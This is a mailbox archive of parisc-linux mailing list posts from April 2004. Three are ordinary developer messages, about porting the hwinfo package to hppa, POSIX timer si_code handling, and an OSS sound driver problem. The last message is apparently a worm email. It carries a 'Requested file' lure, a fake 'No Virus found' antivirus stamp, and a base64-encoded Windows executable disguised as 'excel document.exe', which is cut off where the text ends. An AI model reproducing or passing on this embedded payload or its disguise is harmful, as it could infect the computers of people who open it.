NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:19 +0000 (UTC)
Cc: Morten Werner Olsen <werner-0LiWvn2yMWjUKW2QJMybhA@public.gmane.org>,
	PARISC list <parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org>,
	debian-hppa-0aAXYlwwYIJuHlm7Suoebg@public.gmane.org
To: Joel Soete <soete.joel-IWqWACnzNjyZIoH1IeqzKA@public.gmane.org>
Original-X-From: q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org  Wed Apr 28 12:25:07 2004
Return-Path: <q-funk-x+5WvRp7yOp+8FyH61/OPw@public.gmane.org>
Delivered-To: parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org
Original-Received: from hal.pp.fishpool.fi (seven.fishpool.fi [195.197.229.220])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8B0C8482E
	for <parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org>;
	Wed, 28 Apr 2004 12:25:07 -0600 (MDT)
Original-Received: from q-funk (helo=localhost)
	by hal.pp.fishpool.fi with local-esmtp (Exim 3.35 #1 (Debian))
	id 1BItiu-0001Zy-00; Wed, 28 Apr 2004 21:23:56 +0300
In-Reply-To: <408D4360000013CF-AUrHzpYjV1YW6UI+1PYcbyxXY32XiHfO@public.gmane.org>
X-Archive: encrypt
X-BeenThere: parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org>
List-Help: <mailto:parisc-linux-request-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request-T/XaZq8tFt7U4lJK3ijXoz+iFHGzDt/a@public.gmane.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 18:25:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21559

Is any other work required beyond the patch you already submitted to the
maintainer?  If so, just how much is needed?  I have some time to spare.

On Wed, 28 Apr 2004, Joel Soete wrote:

> Hello all,
>=20
> Is there some interest to port this pkg on hppa?
> I think so but I haven't enough time to help more for the moment.
>=20
> Please advise,
>     Joel
>=20
> > -- Original Message --
> > Date: Tue, 27 Apr 2004 22:14:31 +0200
> > From: Morten Werner Olsen <werner-0LiWvn2yMWjUKW2QJMybhA@public.gmane.org>
> > To: Joel Soete <soete.joel-IWqWACnzNjyZIoH1IeqzKA@public.gmane.org>
> > Subject: Re: hwinfo_7.30-2: suggested patch
> >=20
> >=20
> > On Fri, Apr 23, 2004 at 06:38:21PM +0200, Joel Soete wrote:
>=20
> > > - where is the file modules.dep located? (I see hwinfo can't find
> > >   /lib/modules/2.6.6-rc1-pa0/modules.dep) or do you have a kernel
> > >   without module support?
> >=20
> > As explain
> > it is just a draft because it is just a test of 2.6.6-rc1 and
> > I forget to install /lib/modules/2.6.6-rc1-pa0/modules.dep because the
> kernel
> > is well build with module support but for this platform (by default) al=
l
> > drivers are buildin (again it=20
> > s just testing)
> >=20
> > That said, I well understood that it may need some more work to
> > improve support of hppa.
> >=20
> > But may be can we put the question of actual interest to the parisc-lin=
ux.org
> > or better to debian-hppa ml?=20
> > (I would like to
> > help you more (more test on different model,
> > different kernel 2.4, 2.6) but right now I don't have enough time to
> > do more, sorry)
>=20
> If you think the hppa-community will use the hwinfo package and you'll
> help me make it work on the architecture,
> > I'll include your patch! :)
>=20
> Just give me a sign, and I'll include it. I will not do it until next
> week, as I hope to get the package (v7.30-2) into Sarge when the
> 10days period is finished [1].
>=20
>=20
> - Werner
>=20
> [1] http://packages.qa.debian.org/h/
> > winfo.html
>=20
>=20
>=20
> -------------------------------------------------------------------------=
---------------
> Tiscali ADSL: 35 =80/mois, la meilleure offre du march=E9!
> http://reg.tiscali.be/default.asp?lg=3Dfr
>=20
>=20
>=20
>=20
>=20

--=20
Martin-=C9ric Racine, ICT Consultant
http://www.pp.fishpool.fi/~q-funk/



From - Thu Nov 08 21:31:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] On the subject of POSIX timers.
Date: Wed, 28 Apr 2004 15:34:00 -0400
Lines: 19
Approved: news@gmane.org
Message-ID: <20040428193400.GI6936@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623420 9114 80.91.229.3 (22 Nov 2014 02:30:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:20 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: carlos@baldric.uwo.ca  Wed Apr 28 13:34:32 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 75254482E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 13:34:32 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BIuoj-00079U-00 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 15:34:01 -0400
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (32% Sync Ratio [===.......])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 19:34:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21560


parisc-linux,

When an si_code is negative in the kernel, it imagines the signal was
generated *from* userspace, it's the convention that positive si_code is
kernel generated signals.

POSIX Timers generate SI_TIMER, evaluating to -2, when the generic
kernel code examines this value, it tries a shortcut. If si_code < 0
(see kernel/signal.c (copy_siginfo_to_user)) then it doesn't retouch
the structure. However, in the compat case we *always* have to retouch
the structure to make it 32-bit correct.

Does anyone know why the shortcut "si_code < 0" is valid? Any thoughts?

Cheers,
Carlos.



From - Thu Nov 08 21:31:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul" <paul@techcenter3000.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] OSS / Alsa driver for harmony
Date: Wed, 28 Apr 2004 16:49:56 -0500
Lines: 49
Approved: news@gmane.org
Message-ID: <01c001c42d6a$bf9e1c50$0702a8c0@tfam.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_01BD_01C42D40.D636A9C0"
X-Trace: ger.gmane.org 1416623420 9121 80.91.229.3 (22 Nov 2014 02:30:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:20 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: paul@techcenter3000.com  Wed Apr 28 15:49:25 2004
Return-Path: <paul@techcenter3000.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from TECHCENTER3000.COM (cpe-24-221-227-115.tx.sprintbbd.net
	[24.221.227.115])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7D5AB482E
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 15:49:25 -0600 (MDT)
Original-Received: from betsy (cs2416712-202.houston.rr.com [24.167.12.202])
	by TECHCENTER3000.COM (Postfix) with SMTP id 0C8958001C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 28 Apr 2004 16:48:13 -0500 (CDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2900.2096
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2096
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 21:49:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21561

This is a multi-part message in MIME format.

------=_NextPart_000_01BD_01C42D40.D636A9C0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Well, the driver compiled cleanly. So, I finally compiled mpg123, and no =
luck.
Using the OSS driver, I asked for a list of supported formats. According =
to mpg123, I have _no_ supported formats.

A quick google search doesn't turn anything up, anybody have any ideas?

Thanks
Paul

------=_NextPart_000_01BD_01C42D40.D636A9C0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 6.00.2900.2096" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Well, the driver compiled cleanly. So, =
I finally=20
compiled mpg123, and no luck.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Using the OSS driver, I asked for a =
list of=20
supported formats. According to mpg123, I have _no_ supported=20
formats.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>A quick google search doesn't turn =
anything up,=20
anybody have any ideas?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Paul</FONT></DIV>
<DIV>&nbsp;</DIV></BODY></HTML>

------=_NextPart_000_01BD_01C42D40.D636A9C0--



From - Thu Nov 08 21:31:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: editor@londontown.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] improved
Date: Wed, 28 Apr 2004 17:57:33 -0400
Lines: 573
Approved: news@gmane.org
Message-ID: <20040428220141.9CA581FC9@cuprel1.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0016----=_NextPart_000_0016"
X-Trace: ger.gmane.org 1416623420 9126 80.91.229.3 (22 Nov 2014 02:30:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:20 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: editor@londontown.com  Wed Apr 28 16:01:45 2004
Return-Path: <editor@londontown.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0EF36482E
	for <parisc-linux@parisc-linux.org>;
	Wed, 28 Apr 2004 16:01:45 -0600 (MDT)
Original-Received: from parisc-linux.org (pcp09118634pcs.union01.nj.comcast.net
	[69.142.236.70]) by cuprel1.hp.com (Postfix) with ESMTP id 9CA581FC9
	for <parisc-linux@parisc-linux.org>;
	Wed, 28 Apr 2004 15:01:41 -0700 (PDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 28 Apr 2004 22:01:45 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21562

This is a multi-part message in MIME format.

------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Requested file.

+++ Attachment: No Virus found
+++ Panda AntiVirus - www.pandasoftware.com


------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: application/octet-stream;
	name="excel document.exe"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="excel document.exe"

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
